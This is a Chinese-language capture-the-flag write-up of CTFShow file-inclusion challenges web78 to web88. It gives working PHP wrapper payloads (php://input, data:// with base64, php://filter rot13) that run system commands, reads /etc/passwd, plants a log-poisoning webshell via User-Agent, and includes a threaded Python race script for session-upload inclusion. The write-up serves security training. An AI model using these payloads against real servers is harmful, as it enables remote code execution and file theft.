CTFShow 文件包含笔记

web78——文件包含——php伪协议

源码:

1
2
3
4
5
6
7
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

方法一:

  1. 尝试是否可以查看 /etc/passwd中的内容: 发现可以查看
1
?file=/etc/passwd

  1. 尝试使用 php://input 协议:
1
2
3
?file=php://input
post:
<?php system("ls");?> / <?php system("tac flag.php");?>

方法二:

 1. 尝试使用 php://filter/read=convert.base64-encode/resource=flag.php

​ base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:55:11
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:55:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{db4b1df7-****-4633-ac61-717d14afa306}";

​ 得到了 flag.

web79——文件包含

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

首先发现题目 使用 str_replace 将php替换为了 ???

方法一:

 1. 使用 大写 绕过:
1
2
3
?file=pHp://input
post:
<?php system("ls");?> / <?php system("tac flag.php");?>

方法二:

 1. 使用 mv 命令 将 flag.php 重命名为 a.txt
1
2
3
?file=pHp://input
post:
<?php system("mv flag.php a.txt");?> / <?php system('ls');?>
 2. 查看 a.txt 

方法三:

  1. 使用 data:// 协议:
1
2
3
4
5
// 未使用 base64 编码
?file=data://text/plain,<?pHp system("tac f*");?>
// 使用 base64 编码
// <?php system('tac flag.php'); = base64 = PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

web80——文件包含——日志shell

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了 php 和 data:

方法一:

 1. 尝试使用 php://input:
1
2
3
?file=pHp://input
post:
<?php system('ls');?> / <?php system('tac fl0g.php');?>

 2. 尝试使用 data:// 协议并 大写 DATA:// 但绕过失败

方法二:

 1. 利用 日志 shell : /var/log/nginx/access.log
 2. bp 中 user-agent 写入一句话

 3. 尝试连接:

​ 4. 查找 flag(省略)

web81——文件包含——日志shell

源码:

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  1. 可以发现文中将 php/data/: 都替换为了 ???;
  2. 尝试是否能查看 服务器日志: ?file=/var/log/nginx/access.log — 成功

3.将一句话木马 写入到 User Agent当中: HackBar/Burp:

4.再次查看日志,日志是否包含了 一句话: — 有

5.蚁剑/菜刀连接:

查找flag:

web82——文件包含

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

分析:

把 php,data,:, . 都替换为了 ??? ; 这些协议都用不了可以考虑尝试用 session对话文件包含

​ 1.编辑一个文件上传的页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="目标URL" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

​ 2.将 “目标URL” 跟改为题目地址: 上传一个 txt 文件 内容字母数字随便都可

 3. Bp 抓包:

​ 如图所示 在头部 加入 Cookie:PHPSESSID=test ,将 PHP_SESSION_UPLOAD_PROGRESS 内容修改为: 再将 Payloads type 设置为 Null payloads, 开启爆破

 4. 再爆破一个 请求地址 : ?file=/tmp/sess_test  ; sess_test就是产生的一个临时文件 test就是刚刚设置的 Cookie:PHPSESSID=test,现在需要读取这个文件,由于此文件可能会立马删除,因此也需要一个 爆破请求:

5. 观察结果: 在读取目标的请求爆破中查看 响应结果:如下图

 6. 当然也可以写一个 脚本来实现爆破:奈何我是菜鸡🐔一只,参考了大佬的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import io
import requests
import threading

url = 'http://59af8191-fdc8-414f-bb1c-f2726b946851.challenge.ctf.show:8080/'

sessID = 'test'


def Write(session):
while event.isSet():
file = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
files={'file': ('test.txt', file)}
)
# print(response.text)


def Read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_' +sessID)
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('+'*10 + 'ReTrying' + '+'*10)


if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=Write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=Read, args=(session,)).start()

web83——文件包含

同上

web84——文件包含

同上

web85——文件包含

同上,类似

web86——文件包含

同上,类似

web87——文件包含

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

分析

  1. 依旧将 php, data, : , . 替换为了 ???
  2. GET一个 file, POST一个 content,
  3. urldecode($fie) 将GET到的file URL解码,既然一开始就要解码那么在将file传入时就得URL编码一次,然而四个str_replace()会将其内容替换,那么害得 URL编码一次,所以一共需要 URL编码两次。(Full URL Encode)
  4. “.$content . POST传入的content将和前面这句php拼接在一起。当正常执行的时候,首先执行 die(‘大佬别秀了’) 这个die()将会结束程序的执行,那么我POST传入的内容未被执行,因此需要想办法绕过这个 die() 不然我就狗带了。使用编码绕过比如 将 content按照某个编码进行编码。那么程序在执行时会先进行解码。我们编码的内容当然能正常解码,而前面de die()并不是某个编码所以对die()进行解码就会变成乱码或其他,php将不能认出die()就不会执行die()这样就绕过了die()。后面的content仍然会执行成功。

试验:

  1. php://filter/write=string.rot13/resource=2.php 这句话的意思是 将2.php 按照 rot13编码写入到目录中去; Full URL Encode 两次
1
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%32%25%32%45%25%37%30%25%36%38%25%37%30
 2. content = <?php system('tac f*');?> 进行 rot13编码:
1
content=<?cuc flfgrz("gnp s*.cuc");?>

3. 如上图执行
4. 访问 2.php 页面

web88——文件包含

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

分析:

  1. 正则表达是 匹配了 一大堆东西:
  2. php , ~, ! , @, #, $, %, ^, &, *, ( ), -, _, +, = . 把键盘数字哪一行都过滤了

实验:

  1. 使用 data:// 协议
1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4
//<?php system('tac f*.php');?> 的 base64 编码为PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
// 因为 题目过滤了 = (等号) 所以在使用时 删掉